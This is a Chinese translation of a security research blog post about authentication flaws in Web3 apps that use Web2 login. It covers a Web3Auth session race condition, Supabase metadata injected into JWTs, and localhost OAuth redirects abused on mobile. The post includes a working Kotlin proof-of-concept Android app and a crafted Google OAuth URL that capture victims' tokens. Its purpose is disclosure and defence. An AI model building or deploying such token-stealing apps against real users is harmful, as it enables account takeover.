本文分析了Web3应用中Web2认证集成时存在的安全风险。作者通过案例研究,揭示了OAuth逻辑漏洞、Supabase元数据配置错误以及在localhost环境下滥用OAuth等问题,强调了在Web3应用中采用安全可靠的认证方式的重要性,需要开发者采用更强大的身份验证流程,以弥合Web2框架和Web3生态系统之间的差距。
Web3 认证使用加密签名和钱包,但 Web2 认证集成可能会引入隐藏的风险。 我们将探讨 OAuth 逻辑漏洞、Supabase 错误配置以及 localhost 设置中的 OAuth 滥用等漏洞。
认证是 Web3 中安全交互的基石,能够实现访问控制、用户身份验证和交易完整性。 与传统的 Web2 系统(通常依赖于中心化数据库和基于密码的机制)不同,Web3 系统采用去中心化标识符(DID)、加密签名和基于钱包的认证。 然而,许多应用程序仍然使用基于 Web2 的认证提供商来改善用户体验。
在我们的研究中,我们专注于依赖于基于 Web2 的认证方法的 Web3 应用程序。 具体来说,我们分析了这些应用程序的认证流程,并发现了一类鲜为人知的漏洞。
在本文中,我们将讨论我们发现的三个案例:
user_metadata
错误配置在我们的研究过程中,我们最初在应用程序中发现了一些错误。 然而,这些大多是简单和众所周知的问题,因此我们决定专注于认证提供商本身内部的漏洞。
Web3Auth 是一种旨在简化 Web3 应用程序登录过程的工具,无需用户管理复杂的钱包设置或记住冗长的密码。 它的产品之一 Web3Auth PnP(即插即用)支持使用 Google 的 OAuth2 认证。 该产品采用复杂的认证流程和基础设施,以保持与 dApp 的无缝集成。
Web3Auth PnP 认证流程涉及一个 Web 会话服务器,用于存储认证参数和配置。 下图说明了认证过程的工作原理:
在最终重定向回 dApp 后,应用程序可以使用 secret token 向 client_id
标识的服务进行认证。 这种设计确保你不能使用该 token 向任何未经授权的应用程序进行认证。
此外,重要的是要注意每个 dApp 都有一个重定向 URL 的白名单。 /start
根据配置的白名单验证 redirect_url
,以确保它与允许的 URL 之一匹配。
会话服务器采用密码学来安全地发送和接收认证参数。 加密密钥 派生自 sessionId
,该 sessionId
在 GET
参数中发送到 /start
。 由于 sessionId
可以被控制,因此允许我们从会话服务器发送和接收数据。
如图所示,来自会话服务器的配置数据仅在 /start
期间进行验证,之后在 /end
端点中使用。 如果攻击者设法在验证(/start
)之后但在使用(/end
)之前修改参数,这会引入一个潜在的竞态条件,该条件可能会被利用。
为了利用这个 竞态条件,攻击者控制的网站可以正常启动认证流程。 然后,它可以向会话服务器发送另一个请求,该请求具有相同的 sessionId
但具有修改过的恶意参数。
可以修改什么来实现有影响的事情?
如果你了解 OAuth 的工作原理,答案很简单。 攻击者可以简单地更改 redirect_uri
参数以指向他们自己的网站,并从查询字符串中泄漏 secret token。 有了 secret token,他们就可以针对 client_id
定义的应用程序进行认证。
通过使用这个漏洞,我们能够创建一个网站,该网站能够接管遵循标准 OAuth 流程的受害者的帐户。
该漏洞在同一天(非常迅速!)被报告和修复。 但是,我们发现该修复程序没有反向移植到旧版本。
为了绕过该修复程序,我们能够更改 URL 中的版本:
https://auth.web3auth.io/v8/start
(最新版本)https://auth.web3auth.io/v6/start
(绕过)我们报告了这个问题,并且它也很快得到了解决!
Supabase 是一个后端即服务(BaaS)平台,提供认证、数据库和实时 API。 认证过程在用户注册或登录时开始。 Supabase 为经过认证的用户生成一个 JWT,嵌入用户 ID、角色和其他元数据(用户提供或系统生成)等声明。 然后,此 token 将返回给客户端,并用于后续的 API 请求,在此期间,服务器会验证 JWT 以确认用户的身份和权限。
在我们客户的系统之一中,我们发现了一个漏洞,该漏洞允许通过操纵"data": {}
结构中的输入,在注册请求中包含自定义字段,例如 user_metadata
和 identity_data
。 然后,这些字段会未经验证地直接反映在颁发的 JWT 中。
例如,攻击者可以发送带有任意数据的注册请求,例如 "role": "admin"
或 "email_verified": true
,这些数据随后将包含在 JWT 声明中。 此外,可以插入超出典型输入的任意字段,例如 "test": "test"
,使我们能够将任意数据注入到最终的 JWT token 中。
在此示例中,我们控制着用户元数据中的“role”字段。 如果应用程序使用元数据来管理角色,则它将容易受到权限提升的攻击,因为任何人都可以将任何角色注入到那里。
攻击者随后可以在主平台登录,检索 token,并通过将其提交到验证端点来验证其注入的参数是否在 JWT 中持久存在。 发生这种情况是因为一个函数 parseSupaBase 正在解析和验证由 JWT supabase token 生成的所有内容。
function parseSupaBase(token) {
try {
const [header, payload, signature] = token.split('.');
const decodedHeader = JSON.parse(atob(header));
const decodedPayload = JSON.parse(atob(payload));
return { header: decodedHeader, payload: decodedPayload, signature };
} catch (error) {
console.error('Error parsing token:', error);
return null;
}
}
开发人员应避免信任来自其 Supabase 自定义域的输入。 应在 Supabase 上强制执行 行级安全性(RLS),并且应该在 app_metadata
中定义重要和私有字段。 这些字段必须在其创建和更新过程的每一步都经过严格验证。
在观看了 Luan Herrera 关于利用使用 OAuth 进行认证的桌面应用程序逻辑的演讲(特别是使用 localhost 服务器)后,我们注意到我们的许多客户也在 OAuth 流程中的 redirect_uri
参数中允许 localhost。
Herrera 的研究强调,如果允许 localhost 作为重定向 URI,则通常在桌面环境中无法利用它,因为在没有远程代码执行(RCE)的情况下,无法模拟 localhost。 但是,在移动环境中情况会发生变化,在这种情况下,可以使用恶意应用程序打开 localhost Web 服务器,从而使利用成为可能。
在我们客户的某个实现中,我们发现允许使用 localhost:3000
。 利用方法与 Herrera 的演讲中演示的方法相同。 但是,我们观察到 localhost 服务器经常被开发人员使用并列入白名单,不仅用于桌面应用程序,还用于测试和开发环境。
对于利用,最终的 Google OAuth URL 构造如下:
https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow
由于没有公开的漏洞利用程序,我们还创建了一个概念验证,演示了如何通过简单地打开恶意应用程序来创建一个恶意 APK 以窃取 OAuth token。 这发生在没有任何用户交互的情况下,并导致帐户接管。
class MainActivity : AppCompatActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
// Start the Ktor web server
CoroutineScope(Dispatchers.IO).launch {
try {
startWebServer()
Log.d("WebServer", "Server started on http://localhost:3000")
} catch (e: Exception) {
Log.e("WebServer", "Error starting server: ${e.message}", e)
}
}
// Open the Google OAuth page
val googleOAuthUrl = "https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow"
val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(googleOAuthUrl))
startActivity(browserIntent)
}
private fun startWebServer() {
embeddedServer(CIO, port = 3000) {
routing {
get("{...}") {
call.respondHtml {
head {
meta(charset = "UTF-8")
meta(name = "viewport", content = "width=device-width, initial-scale=1.0")
title("OAuth Redirect")
}
body {
h1 { +"Google OAuth Redirect" }
script {
+"document.body.innerText = location.search;"
}
}
}
}
}
}.start(wait = true)
}
}
该代码本质上是创建一个 localhost Web 服务器,并将用户重定向到 OAuth 授权屏幕,在某些条件下,可以自动绕过该屏幕,而无需任何用户交互。 授权过程完成后,OAuth 流程会将用户重定向回 localhost 服务器,包括查询字符串中的 secret authorization token。
由于攻击者控制着 localhost 服务器,因此他们可以拦截并提取 token,从而能够接管受害者的帐户。
作为一种缓解措施,至关重要的是要确保 localhost 服务器未在 OAuth redirect_uri
参数中列入白名单。 如果由于特定的业务需求而有必要将 localhost 列入白名单,则必须仔细设计和实施自定义解决方案,以保护所有用户的帐户安全。
在本文中,我们探讨了 Web3 dApp 使用的 Web2 认证流程中存在的三个鲜为人知的漏洞类别,从而揭示了关键但经常被忽视的安全风险。 认证过程本质上很复杂,并且这种复杂性使漏洞能够继续存在于应用程序中而不被注意。
通过发现和分析这些漏洞,我们旨在强调必须采用稳健、全面的认证安全方法。 随着 Web3 的不断发展,弥合传统 Web2 框架与去中心化 Web3 生态系统之间的差距不仅是一个机会,而且是保护用户及其数据的必要措施。
- 原文链接: osec.io/blog/2025-03-07-...
- 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!